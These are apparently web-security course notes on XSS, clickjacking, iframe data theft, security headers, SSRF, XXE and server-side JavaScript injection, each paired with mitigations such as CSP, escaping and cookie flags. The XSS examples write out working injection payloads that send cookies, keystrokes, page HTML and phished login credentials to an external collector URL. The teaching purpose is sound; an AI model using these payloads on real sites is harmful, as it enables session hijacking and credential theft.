0% found this document useful (0 votes)
19 views119 pages

Understanding Cross-Site Scripting (XSS)

Cross-site scripting (XSS) is a security vulnerability that allows attackers to inject malicious scripts into web pages, potentially leading to user session hijacking, unauthorized activities, keystroke capturing, and data theft. The document provides several examples of XSS attacks, including methods of exploiting vulnerabilities through URL parameters and form submissions. It also emphasizes the importance of input validation and suggests mitigation strategies such as avoiding the use of innerHTML and ensuring user inputs are properly sanitized.

Uploaded by

ela
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
19 views119 pages

Understanding Cross-Site Scripting (XSS)

Cross-site scripting (XSS) is a security vulnerability that allows attackers to inject malicious scripts into web pages, potentially leading to user session hijacking, unauthorized activities, keystroke capturing, and data theft. The document provides several examples of XSS attacks, including methods of exploiting vulnerabilities through URL parameters and form submissions. It also emphasizes the importance of input validation and suggests mitigation strategies such as avoiding the use of innerHTML and ensuring user inputs are properly sanitized.

Uploaded by

ela
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Cross-site scripting(XSS)

If someone from outside can inject any kind of script in your website and do something unintended(stealing cookie, data,
critical information), it is known as XSS attack.

Malicious scripts can be injected from url, forms, input fields etc.

VULNERABILITIES
1. User session hijacking
Hijacking session details like stealing cookie data

2. Unauthorized activities
Sometimes you might have seen that you don’t send any message to your friend in facebook but message is sent asking for
money.

3. Capturing keystrokes
Getting what you are typing in keyboard

4. Stealing critical information


Getting entire DOM or entire code which consists critical information. Getting html content of the page. Bank info,
transaction info

5. Phishing
Phishing is when attackers attempt to trick users into doing 'the wrong thing', such as clicking a bad link that will
download malware, or direct them to a dodgy website

Example 1
<!DOCTYPE html>
<html lang="en">
<head>

Cross-site scripting(XSS) 1
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS Example</title>
</head>
<body>

<!-- Vulnerable Code -->


<div>
Welcome, <span id="username"></span>!
</div>

<script>
const params = new URLSearchParams([Link]);
const name = [Link]('name');
[Link]('username').innerHTML = name;
</script>

</body>
</html>

Passing name in parameter and getting that name using query params

Example 2 - user session hijacking


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS Example</title>
</head>
<body>

<!-- Vulnerable Code -->


<div>

Cross-site scripting(XSS) 2
Welcome, <span id="username"></span>!
</div>

<script>
// Function to set a cookie, mostly this will be set from server
function setCookie(name, value, days) {
const date = new Date();
[Link]([Link]() + (days * 24 * 60 * 60 * 1000));
const expires = "expires=" + [Link]();
[Link] = name + "=" + value + ";" + expires + ";path=/";
}

// Example: Set a cookie named "exampleCookie" with value "Hello, Cookie!" that expires in 7
setCookie("exampleCookie", "Hello, Cookie!", 7);
</script>

<!-- Vulnerable Code -->


<script>
const params = new URLSearchParams([Link]);
const name = [Link]('name');
[Link]('username').innerHTML = `${name}`;
</script>

</body>
</html>

Cookie set by us from frontend (generally it is done using backend)

Cross-site scripting(XSS) 3
Passing name in url
Image tag

<img src="does-not-exist" onerror="var img = [Link](\`img\`); [Link]=\'htt


p://[Link]:8888/cookie?data=\' + [Link]; [Link](\'body\').appen
dChild(img);">

encodeURIComponent()
The encodeURIComponent() function encodes a URI by replacing each instance of certain characters by one, two, three, or four
escape sequences representing the UTF-8 encoding of the character.

Value we got
%3Cimg%20src%3D%22does-not-
exist%22%20onerror%3D%22var%20img%20%3D%[Link](%60img%60)%3B%[Link]%3D'http%

Passing the above value without quotes as name parameter in url


Desired url we got
[Link]
exist%22%20onerror%3D%22var%20img%20%3D%[Link](%60img%60)%3B%[Link]%3D'http%

Cross-site scripting(XSS) 4
We knew image does not exist. We passed onerror function which consists our malicios url and we pass cookie in that url.

As you can see we passed the cookie(that we saved from frontend-screenshot above) in malicious url. Now the attacker
can use that cookie to do all unwanted things.

Cross-site scripting(XSS) 5
Example 3 - Unauthorized activities
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>XSS Example</title>
</head>
<body>
<!-- Vulnerable Code -->
<div>
Welcome, <span id="username"></span>! TimeZone,
<span id="timezone"></span>!
</div>

<script>
// Function to set a cookie, mostly this will be set from server
function setCookie(name, value, days) {
const date = new Date();
[Link]([Link]() + days * 24 * 60 * 60 * 1000);
const expires = "expires=" + [Link]();
[Link] = name + "=" + value + ";" + expires + ";path=/";
}

// Example: Set a cookie named "exampleCookie" with value "Hello, Cookie!" that expires
in 7 days
setCookie("exampleCookie", "Hello, Cookie!", 7);
</script>

<!-- Vulnerable Code -->


<script>
const params = new URLSearchParams([Link]);
const name = [Link]("name");
[Link]("username").innerHTML = name;
</script>

<script>
function createPost(title, description) {
var xhr = new XMLHttpRequest();
[Link]("POST", '/post', true);
[Link]([Link]);
[Link] = true;
[Link](
"Content-type",
"application/x-www-form-urlencoded"
);
[Link](`txtName=${title}&mtxMessage=${description}`);
}
</script>

Cross-site scripting(XSS) 6
</body>
</html>

In this example we want to pass this to name parameter. We are calling createPost method.

<img src='[Link]' onerror="createPost('HACK_TITLE','HACK_DESCRIPTION');"/>

encodedURIComponent
%3Cimg%20src=%[Link]%27%20onerror=%22createPost(%27HACK_TITLE%27,%27HACK_DESCRIPTION%27);%22/%

URL
[Link]
name=%3Cimg%20src=%[Link]%27%20onerror=%22createPost(%27HACK_TITLE%27,%27HACK_DESCRIPTION%27)

We were able to access post method. Even our cookie got passed. If our url was up, post method would have been
successful.

Cross-site scripting(XSS) 7
Example 4 - Capturing keystrokes

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS Example</title>
</head>
<body>

<!-- Vulnerable Code -->


<div>
Welcome, <span id="username"></span>!
</div>

<script>
// Function to set a cookie, mostly this will be set from server
function setCookie(name, value, days) {
const date = new Date();
[Link]([Link]() + (days * 24 * 60 * 60 * 1000));
const expires = "expires=" + [Link]();
[Link] = name + "=" + value + ";" + expires + ";path=/";
}

// Example: Set a cookie named "exampleCookie" with value "Hello, Cookie!" that expires i
n 7 days
setCookie("exampleCookie", "Hello, Cookie!", 7);
</script>

<!-- Vulnerable Code -->


<script>
const params = new URLSearchParams([Link]);
const name = [Link]('name');
[Link]('username').innerHTML = name;
</script>

</body>
</html>

<img src="does-not-exist" onerror='var timeout; var buffer = ""; [Link]("bod


y").addEventListener("keypress", (event) => { if ([Link] !== 0) { clearTimeout(timeout);
buffer += [Link]([Link]); timeout = setTimeout(() => { var xhr = new XMLHttp
Request(); var uri = "[Link] encodeURIComponent(buffer); [Link]
("GET", uri); [Link](); buffer = ""; }, 400); }});'\n/>

Cross-site scripting(XSS) 8
encoded
%3Cimg%20src%3D%22does-not-
exist%22%20onerror%3D'var%20timeout%3B%20var%20buffer%20%3D%20%22%22%3B%[Link]

URL
[Link]
exist%22%20onerror%3D'var%20timeout%3B%20var%20buffer%20%3D%20%22%22%3B%[Link]

Whatever we are typing is being sent as parameter in malicious url

Example 5 - Stealing critical information


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS Example</title>
</head>
<body>

<!-- Vulnerable Code -->


<div>
Welcome, <span id="username"></span>!

Cross-site scripting(XSS) 9
</div>

<script>
// Function to set a cookie, mostly this will be set from server
function setCookie(name, value, days) {
const date = new Date();
[Link]([Link]() + (days * 24 * 60 * 60 * 1000));
const expires = "expires=" + [Link]();
[Link] = name + "=" + value + ";" + expires + ";path=/";
}

// Example: Set a cookie named "exampleCookie" with value "Hello, Cookie!" that expires in
7 days
setCookie("exampleCookie", "Hello, Cookie!", 7);
</script>

<!-- Vulnerable Code -->


<script>
const params = new URLSearchParams([Link]);
const name = [Link]('name');
[Link]('username').innerHTML = name;
</script>

</body>
</html>

<img src="[Link]" onerror="var mycookie=[Link]; new Image().src=`[Link]


hp?output=${[Link]}`"/>

encoded
%3Cimg%20src%3D"[Link]"%20onerror%3D"var%20mycookie%[Link]%3B%20new%20Image().src%3D

URL
[Link]
name=%3Cimg%20src%3D"[Link]"%20onerror%3D"var%20mycookie%[Link]%3B%20new%20Image().

Cross-site scripting(XSS) 10
Our entire inner html as passed to malicious url

Example 6 - Phishing
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS Example</title>
</head>
<body>

<!-- Vulnerable Code -->


<div>
Welcome, <span id="username"></span>!
</div>

<script>
// Function to set a cookie, mostly this will be set from server
function setCookie(name, value, days) {
const date = new Date();
[Link]([Link]() + (days * 24 * 60 * 60 * 1000));
const expires = "expires=" + [Link]();
[Link] = name + "=" + value + ";" + expires + ";path=/";
}

Cross-site scripting(XSS) 11
// Example: Set a cookie named "exampleCookie" with value "Hello, Cookie!" that expires in
7 days
setCookie("exampleCookie", "Hello, Cookie!", 7);
</script>

<!-- Vulnerable Code -->


<script>
const params = new URLSearchParams([Link]);
const name = [Link]('name');
[Link]('username').innerHTML = name;
</script>

</body>
</html>

<h3>Please login to proceed</h3> <form action="[Link]


<input type="username"name="username"/><br/>Password:<br/><input type="password"name="passwor
d"/><br/><input type="submit"name="Login"/><br/></form>

[Link] login to proceed</h3> <form


action="[Link] Username: <br /> <input type="username" name="username" /><br />
Password:<br /> <input type="password" name="password" /><br /> <input type="submit" name="Login" /><br />
</form>`

We have injected form as parameter in url

Cross-site scripting(XSS) 12
As soon as we submit the form, malicious url is called with our username and password

Example 7 - eval

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dynamic JavaScript Injection</title>
</head>
<body>

<h1>Dynamic JavaScript Injection</h1>

<label for="jsCode">Enter JavaScript code:</label>

Cross-site scripting(XSS) 13
<input type="text" id="jsCode" placeholder="Enter JavaScript code here">

<button onclick="executeCode()">Execute Code</button>

<script>
function executeCode() {
// Get the JavaScript code from the input box
var jsCode = [Link]('jsCode').value;

try {
// Use eval to execute the entered JavaScript code
eval(jsCode);
} catch (error) {
// Handle any errors that may occur during execution
[Link]('Error executing code:', error);
}
}
</script>

</body>
</html>

We should not use eval

MITIGATION
1. List all possible ways to take user input

Cross-site scripting(XSS) 14
url, forms, input fields

You can trust you ex but never trust user input

2. Don’t user innerHTML


Use innerText or textContent

3. Escape all user input


Use escaping mechanism
Escaping characters in a string means using special sequences or symbols to represent characters that would otherwise be
interpreted differently. For example, using `\n` in a string represents a newline character, and `\"` represents a double quote
within a string. This allows you to include special characters without causing syntax errors or unintended behavior in your
code.

4. Using library like React


Under the hood they provide lot of stuff - escaping and other stuff
Avoid dangerously injecting html into DOM

5. Sanitize your data using libraries like DOMPurify


What it does is it takes care of user input data

6. Avoid using eval


eval executes code

7. CSP(Content security policy) Headers


There are many headers that can be set from the server into your application to decide what kind of resources can be
loader, from where these resources can be loaded and taking control. You are in the complete control. It also helps in
specifying which scripts you want to execute. All this can be handled by CSP headers.
Three things can be done using CSP headers

1. Allowed sources

2. Script Nonces

Cross-site scripting(XSS) 15
3. Report-only mode

Setting up a server for testing CSP headers

npm init -y
npm install express —save

npm install nodemon —save


"start":"nodemon ./[Link]", - add this in [Link]

Folder structure

[Link]

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>Page for CORS demo!</h1>
</body>
</html>

[Link]

const express = require("express");

const PORT = 3010;

Cross-site scripting(XSS) 16
const app = express();

[Link]([Link]('public'));

[Link]('/', (req, res) => {


[Link]([Link]);
[Link](__dirname + '/[Link]');
});

[Link](PORT, () => {
[Link](`Server started at [Link]
});

Our server is set up now. Type npm run start to start the server

Example 1 - adding script tag in html

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="[Link]
</head>
<body>
<h1>Page for CORS demo!</h1>
</body>
</html>

Cross-site scripting(XSS) 17
You can see our script is executed

We don’t want to execute any other script apart from the script from our own place.

Example 2 - setting CSP header for above requirement in [Link]

const express = require("express");

const PORT = 3010;


const app = express();

//Added this middleware - whatever has to happen goes throgh this middleware
[Link]((req, res, next) => {
[Link](
'Content-Security-Policy',
"default-src 'self';"
);
next();
})

[Link]([Link]('public'));

[Link]('/', (req, res) => {


[Link]([Link]);
[Link](__dirname + '/[Link]');
});

[Link](PORT, () => {

Cross-site scripting(XSS) 18
[Link](`Server started at [Link]
});

Example 2
We can define policies on script level as well.

modified middleware

[Link]((req, res, next) => {


[Link](
'Content-Security-Policy',
"default-src 'self';" +
"script-src 'self' [Link]
);
next();
})

it means load script from self as well as [Link] domain

Cross-site scripting(XSS) 19
We can define policies for style, iFrames, images etc as well

Example 3 - for images

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="[Link]
</head>
<body>
<h1>Page for CORS demo!</h1>
<img src="[Link]
k_800_800/0/1673037498537?e=1707955200&v=beta&t=203QmhfiuDGKmUJORGy-qw-RKJQAtMzeTjw3sDR3xbo" /
>
</body>
</html>

Consider there is no CSP in [Link]

Image is loaded in this case

Cross-site scripting(XSS) 20
Example 4 - adding CSP

[Link]((req, res, next) => {


[Link](
'Content-Security-Policy',
"default-src 'self';" +
"script-src 'self' [Link]
);
next();
})

Cross-site scripting(XSS) 21
Example 5 -

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="[Link]
<script>
[Link]('My trusted code!')
</script>
</head>
<body>
<h1>Page for CORS demo!</h1>
</body>
</html>

You will not see console because it is inline script and we have not set CSP header for inline script.

To execute inline script, we need to add 'unsafe-inline’

[Link]((req, res, next) => {


[Link](
'Content-Security-Policy',
"default-src 'self';" +

Cross-site scripting(XSS) 22
"script-src 'self' 'unsafe-inline' [Link]
);
next();
})

Q. How can we distinguish scripts which are our and which are coming from 3rd party ?
Ans. Using nonce

Example 6 -

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="[Link]

Cross-site scripting(XSS) 23
<script nonce="randomKey">
[Link]('My trusted code!')
</script>

<script>
[Link]('My non-trusted code!')
</script>
</head>
<body>
<h1>Page for CORS demo!</h1>
</body>
</html>

Example 7

adding 'nonce-randomKey’ in CSP header

Cross-site scripting(XSS) 24
Now only script which has nonce defined as randomKey is loaded.

nonce is not visible in DOM(Element tab in inspect)

CSP in response header

Report-only mode
If you get any CSP errors, you can report them to particular endpoint using
report-to default;

report-uri URL;

Cross-site scripting(XSS) 25
iFrame protection

iFrames are widely used. We can embed different websites, ads, videos in our
own website.

[Link] is our website. We have embedded [Link] , [Link] and ads using
iFrame in our website.
If not handled properly, b and ads can access different parts of our web
application which we don’t want. It posses a security threat to us.

Take another example, we have embedded google and we are allowing users to
do google search in our application. So basically we are using google’s all
resources for free which shouldn’t be the case.

iFrame protection 1
VULNERABILITIES
1. Click Hijacking
We place an transparent iFrame on top of our website. User clicks on submit
button. User thinks he has click on submit button but he/she clicks on transparent
iFrame’s button and ends up sending critical info

2. Data theft via javascript


I am parent window(a)and I am able to access something in child window(b) or
vice versa

3. Session and cookie theft


Parent to child or vice versa

Project folder code

[Link]
design/tree/master/Security/IframeProtection

iFrame protection 2
example1 html

<!DOCTYPE html>
<html>
<head>
<title>Clickjacking Example</title>
</head>
<body>
<h1>Clickjacking Example</h1>
<p>Click the button below to see a simple clickjacking de
monstration.</p>
<button id="overlay-button">Click Me!</button>
<script>
// Simulate a clickjacking attack by overlaying the but
ton on top of the iframe
document
.getElementById("overlay-button")

iFrame protection 3
.addEventListener("click", () => {
alert("Button clicked!");
});
</script>
</body>
</html>

iframe-webiste1 html

<!DOCTYPE html>
<html>
<head>
<title>Clickjacking IFrame</title>
</head>
<body>
<h1>Child Iframe</h1>
<p>Iframe: Click the button below to see a simple clickja

iFrame protection 4
cking demonstration.</p>

<button style="background-color: red;" onclick="alert('cl


icked iframe button')">Pay Now</button>
</body>
</html>

1. CLICK HIJACKING example


Adding iframe of iframe-website in example1

example1

<!DOCTYPE html>
<html>

iFrame protection 5
<head>
<title>Clickjacking Example</title>
</head>
<body>
<h1>Clickjacking Example</h1>
<p>Click the button below to see a simple clickjacking de
monstration.</p>

<iframe src="[Link] id="l


egit-iframe"></iframe>

<button id="overlay-button">Click Me!</button>


<!-- <style>
#legit-iframe {
background-color: #ccc;
opacity: 0;
position: absolute;
top: 0px;
left: 0;
width: 100%;
height: 100%;
z-index: 1;
}
</style> -->

<script>
// Simulate a clickjacking attack by overlaying the but
ton on top of the iframe
document
.getElementById("overlay-button")
.addEventListener("click", () => {
alert("Button clicked!");
});
</script>

iFrame protection 6
</body>
</html>

Uncommenting style in above code


Styling child iFrame such that Pay now button overlaps Click me button but
opacity is 0(transparent)

iFrame protection 7
When user clicks on Click Me, he has actually clicked on Pay now button of
iFrame. This is known as click hijacking.

2. Data theft | session theft | cookie theft

example2 html

<!DOCTYPE html>
<html>
<head>
<title>Data Theft via JavaScript</title>
<script>
function setCookie(name, value, days) {
var expires = "";

if (days) {
var date = new Date();

iFrame protection 8
[Link]([Link]() + days * 24 * 60 * 60 *
1000);
expires = "; expires=" + [Link]();
}

[Link] = name + "=" + value + expires + "; p


ath=/";
}

setCookie("parentCookie", "secret", 1);


</script>
</head>
<body>
<h1>Data Theft via JavaScript</h1>

<iframe
src="[Link]
sandbox="allow-same-origin allow-scripts allow-modals"
></iframe>
</body>
</html>

[Link]

<!DOCTYPE html>
<html>
<head>
<title>Malicious iframe</title>
</head>
<body>
<h1>Malicious iframe</h1>
<p>This iframe attempts to steal data from the parent win
dow.</p>

iFrame protection 9
<script>
[Link]('Hi');
// Malicious JavaScript code in the iframe
[Link] = function () {
try {
const parentWindow = [Link];
const parentDocument = [Link];

// Attempt to read html


const stolenData = [Link];
alert("Stolen Data: " + stolenData);
} catch (error) {
[Link]("Data theft failed:", error);
}
};
</script>
</body>
</html>

iFrame protection 10
As you can see, modern browsers doesn’t allow embedded iFrame to access
parent dom but issue still exists in older browsers
We can similarly access cookie data as well in older browsers.

MITIGATIONS

1. X-Frame-Options: DENY(older way)

CSP- frame ancestors ‘self’ (we can use none as well)


If we don’t want our website to be iframed we can use both the ways above

If we add below code in index file of server2

[Link]((req, res, next) => {


[Link]('Content-Security-Policy', "frame-ancestors
'self'")
next();
})

Try to access example2 as above

iFrame protection 11
Another example, let’s try to access google as iFrame in our website

example3 html

<!DOCTYPE html>
<html>
<head>
<title>Clickjacking Example</title>
</head>
<body>
<h1>Render google in iframe</h1>
<p>Click the button below to see a simple clickjacking de
monstration.</p>

<iframe src="[Link]

iFrame protection 12
</body>
</html>

2. sandbox

The sandbox attribute enables an extra set of restrictions for the content in the
iframe.

When the sandbox attribute is present, and it will:

treat the content as being from a unique origin

block form submission

block script execution

disable APIs

prevent links from targeting other browsing contexts

iFrame protection 13
prevent content from using plugins (through <embed> , <object> , <applet> , or
other)

prevent the content to navigate its top-level browsing context

block automatically triggered features (such as automatically playing a video


or automatically focusing a form control)

example2 html

<!DOCTYPE html>
<html>
<head>
<title>Data Theft via JavaScript</title>
<script>
function setCookie(name, value, days) {
var expires = "";

iFrame protection 14
if (days) {
var date = new Date();
[Link]([Link]() + days * 24 * 60 * 60 *
1000);
expires = "; expires=" + [Link]();
}

[Link] = name + "=" + value + expires + "; p


ath=/";
}

setCookie("parentCookie", "secret", 1);


</script>
</head>
<body>
<h1>Data Theft via JavaScript</h1>

<iframe
src="[Link]
sandbox
></iframe>
</body>
</html>

Remove CSP header from [Link] of server 2

iFrame protection 15
<iframe
src="[Link]
sandbox="allow-same-origin allow-scripts allow-modals"
></iframe>

3. If parent tries to steal something from child. You can mention below code in
child script

<script>
if (top != self) {
[Link] = [Link];

iFrame protection 16
}
</script>

We have added this in iframe-webiste1 html as we are adding its iFrame in


example 1 html. This is prevent example 1 to access anything from iframe-
webiste1.

4. Setting extra headers in cookie

httpOnly: true - it means you can only access cookies only on the server. You
cannot access cookie using JavaScript(cannot use [Link] etc)
secure: true - cookie will be sent to the client if it is https

sameSite: ‘strict’ - if api’s are being called to some other domain, your cookies will
not travel along with them

[Link]((req, res, next) => {


[Link]('Content-Security-Policy', "frame-ancestors
'self'")

[Link]('sessionID', '12345', {
httpOnly: true,
secure: true,
sameSite: 'strict',
});
next();
})

This code is present in server 2 - [Link]

Example - linkedn inspect

iFrame protection 17
iFrame protection 18
Security headers

index js

const express = require('express');


const app = express();

[Link]('/list', (req, res) => {


[Link]([{
id: 1,
title: "Namaste Frontend System Design"
}])
});

const port = [Link] || 5010;

Security headers 1
[Link](port, () => {
[Link](`Server is running on port ${port}`);
});

X-Powered-By
This header tells you your application is built using what kind of server.

When we run the server, we can see in network tab, it shows our express server.
This is not a good practice. We must never expose our server like this. What if
there are some problems going on with express and attacker exploits those and
attack your system.

Add below code - it will remove X-Powered-By header in network tab

Security headers 2
[Link]((req, res, next) => {
[Link]('X-Powered-By');
next();
});

Referrer-Policy
The Referrer-Policy HTTP header controls how much referrer information (sent
with the Referer header) should be included with requests. Aside from the HTTP
header, you can set this policy in HTML.

Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url

Read more

[Link]

Example

We are on Akshay’s linkedn profile url


[Link]

Security headers 3
Now , we will click notification icon and see network tab

You will see Referrer Policy and referrer

Security headers 4
[Link]((req, res, next) => {
[Link]('Referrer-Policy', 'no-referrer');
[Link]('X-Powered-By');
next();
});

X-Content-Type-Options

Security headers 5
Suppose client requested jpg image from server, but some man in the middle
modified the request and injected some html/JavaScript . So, now server will send
something else only.

The X-Content-Type-Options response HTTP header is a marker used by the server to


indicate that the MIME types advertised in the Content-Type headers should be
followed and not be changed. The header allows you to avoid MIME type
sniffing by saying that the MIME types are deliberately configured.

[Link]((req, res, next) => {


[Link]('Referrer-Policy', 'no-referrer');
[Link]('X-Powered-By');
[Link]('X-Content-Type-Options', 'nosniff');
next();
});

X-XSS-Protection
The HTTP X-XSS-Protection response header is a feature of Internet Explorer,
Chrome and Safari that stops pages from loading when they detect reflected
cross-site scripting (XSS) attacks. These protections are largely unnecessary in

Security headers 6
modern browsers when sites implement a strong Content-Security-Policy that
disables the use of inline JavaScript ( 'unsafe-inline' ).

X-XSS-Protection: 0
X-XSS-Protection: 1
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=<reporting-uri>

Strict-Transport-Security(HSTS)
The HTTP Strict-Transport-Security response header (often abbreviated as HSTS)
informs browsers that the site should only be accessed using HTTPS, and that any
future attempts to access it using HTTP should automatically be converted to
HTTPS.

Security headers 7
It happens in 2 steps as you can see in above image-

1. For first request, we manually redirect to https. Then browser calls https and
we set strict-transport-security header.

2. For further request(subsequent in-secure request), browser calls https

//not working in localhost


const redirectToHttps = (req, res, next) => {
if ([Link]['x-forwarded-proto'] !== 'https') {
// Redirect to HTTPS
return [Link](['[Link] [Link]('Host'), [Link]
l].join(''));
}
next();
};

[Link](redirectToHttps);

[Link]((req, res, next) => {


[Link]('Referrer-Policy', 'no-referrer');
[Link]('X-Powered-By');
[Link]('X-Content-Type-Options', 'nosniff');
[Link]('Strict-Transport-Security', 'max-age=3153600
0; includeSubDomains; preload');
next();
});

If you want above step to happen in single step, then you need to register your
domain in

[Link]

Security headers 8
Client-side security

Storing sensitive data on client storage


try storing at server
encrypt data example

Client-side security 1
set token expiry example

Authentication
JWT/OAuth

Set session token expiry


MFA - multifactor authentication

Data integrity

Client-side security 2
The property that data has not been altered in an unauthorized manner. Data
integrity covers data in storage, during processing, and while in transit.

Using checksum to ensure data integrity

Storage limit
There are basically 2 major impacts of storing data on client

1. It affects performance

2. Storing more data than browser’s capacity can lead to data loss

Below function is an example how one can get current data usage and available
data quota in browsers

Client-side security 3
Session Management
We should manage sessions and cookies appropriately.

Below is example of setting appropriate headers on cookies. We set the same


headers in iFrame protection module as well.

Client-side security 4
Secure Communication(HTTPs)

Data encryption - client requests some data and then server sends data. That data
is unreadable

Authentication - appropriate authorities provide certificate and that certificate is


used when client requests some data(SSL and TLS certificate)
Data integrity - some cryptographic methods | checksum used to ensure data
integrity. It internally used MAC(message authentication code).

Secure Communication(HTTPs) 1
Dependency security

Regular audit of dependencies


npm audit

npm update
npm audit report - generates detailed report

Enforcing auditing
In your package itself - npm set audit true
Everytime during npm install/update it will automatically be execute and highlight
vulnerabilities

Dependency security 1
Code & Dependency monitor
Sometimes in some projects we don’t run them daily but we want them to be
proper with dependencies and all
In such cases, we can use
dependabot - for dependency monitoring
[Link](github) file is created and code id written to monitor
dependencies in some time interval
codeql - it goes one step ahead and does code as well as dependency monitoring
[Link] file(github)

Dependency locking
Generally we have pipelines set up which runs when we merge a code. In such
case, you want to avoid a frequent dependency errors.
Therefore we set up [Link]
It locks the version of direct and indirect dependencies in your project so that it is
not going to change everytime you run npm install.

We update dependencies only when needed

To achieve reproducible builds, it is necessary to lock versions of dependencies


and transitive dependencies such that a build with the same inputs will always
resolve the same module versions. This is called dependency locking.

Security penetration testing using tools


Even if we take care of above things, still there are lot of things on which we need
help from tools

[Link]

Dependency security 2
App scanner, burp suite, zed attack proxy - famous tools

Dependency security 3
Server-side Request
Forgery(SSRF)

Server-side request forgery is a web security vulnerability that allows an attacker


to cause the server-side application to make requests to an unintended location.
In a typical SSRF attack, the attacker might cause the server to make a connection
to internal-only services within the organization's infrastructure. In other cases,
they may be able to force the server to connect to arbitrary external systems. This
could leak sensitive data, such as authorization credentials.

Reasons for this -

Unvalidated user input

Server-side Request Forgery(SSRF) 1


You must always ensure that you validate user input

Lack of whitelisting
example of whitelisting

Server-side Request Forgery(SSRF) 2


Insufficient access control
Did you create policies around what all can be accessed from file system,
operating system, database, network layer,

Server-side Request Forgery(SSRF) 3


Using popular libraries like node-fetch and axios can provide us first layer of
protection again SSRF

XML External entity attack(XXE)


XML external entity injection (also known as XXE) is a web security vulnerability
that allows an attacker to interfere with an application's processing of XML data. It
often allows an attacker to view files on the application server filesystem, and to
interact with any back-end or external systems that the application itself can
access.

Server-side Request Forgery(SSRF) 4


In this case, payload or user input (xml) is sent and our parser or
serialization/deserialization technique is not able to distinguish between xml and
html/input data, so you end up executing that xml and leaking our internal server
data.
html, svg, pdf can look like xml

Server-side Request Forgery(SSRF) 5


Server-side JavaScript
Injection(SSJI)
Server Side JavaScript injection is the ability for a user to inject code which will in
turn be evaluated by the server, and therefore would allow an attacker to
potentially execute arbitrary code under the context of the server and interaction
with the filesystem, which may lead to the full compromise of the host.
Some JS functions can be exploited by an attacker to execute malicious JS code
on the server:

eval()

setTimeout()

setInterval()

Function()

Inadequate input validation

Direct execution of user provided code

Using dangerous function


Using new Function() in JS

Insecure deserialization
There is some JSON data that is coming and we do deserialization without
checking

Server-side JavaScript Injection(SSJI) 1


Server-side JavaScript Injection(SSJI) 2
Server-side JavaScript Injection(SSJI) 3
Any issue in setTimeout/setInterval can lead to global exceptions. If global
exceptions are not handled properly, it can do lot of damage.

Server-side JavaScript Injection(SSJI) 4


Server-side JavaScript Injection(SSJI) 5
Feature Policy | Permission-
Policy

We use lot of third party scripts / iFrame in our app. What if they try to access
geolocation, audio, video, mic etc without our permission. How can we trust them
? We need to ensure security. For that we use Permissions-policy

Permissions Policy provides mechanisms for web developers to explicitly declare


what functionality can and cannot be used on a website. You define a set of
"policies" that restrict what APIs the site's code can access or modify the
browser's default behavior for certain features. This allows you to enforce best
practices, even as the codebase evolves — as well as more safely compose third-
party content.
Permissions Policy is similar to Content Security Policy but controls features
instead of security behavior.
Examples of what you can do with Permissions Policy:

Change the default behavior of autoplay on mobile and third-party videos.

Restrict a site from using sensitive devices like the camera, microphone, or
speakers.

Allow iframes to use the Fullscreen API.

Stop items from being scripted if they are not visible in the viewport, to
improve performance.

Permissions Policy provides two ways to specify policies:

The Permissions-Policy HTTP header, to control feature usage in received


responses and any embedded content within the page (which
includes <iframe> s).

Feature Policy | Permission-Policy 1


The <iframe> allow attribute, to control feature usage only in
specific <iframe> s.

Syntax
Permissions-Policy: <directive>=<allowlist>

Allowlists
An allowlist is a list of origins that takes one or more of the following values
contained in parentheses, separated by spaces:

: The feature will be allowed in this document, and all nested browsing
contexts ( <iframe> s) regardless of their origin.

() (empty allowlist): The feature is disabled in top-level and nested browsing


contexts. The equivalent for <iframe> allow attributes is 'none' .

: The feature will be allowed in this document, and in all nested browsing
self

contexts ( <iframe> s) in the same origin only. The feature is not allowed in
cross-origin documents in nested browsing contexts. self can be considered
shorthand for [Link] . The equivalent
for <iframe> allow attributes is self .

src: The feature will be allowed in this <iframe> , as long as the document
loaded into it comes from the same origin as the URL in its src attribute. This
value is only used in the <iframe> allow attribute, and is
the default allowlist value in <iframe> s.

"<origin>": The feature is allowed for specific origins (for


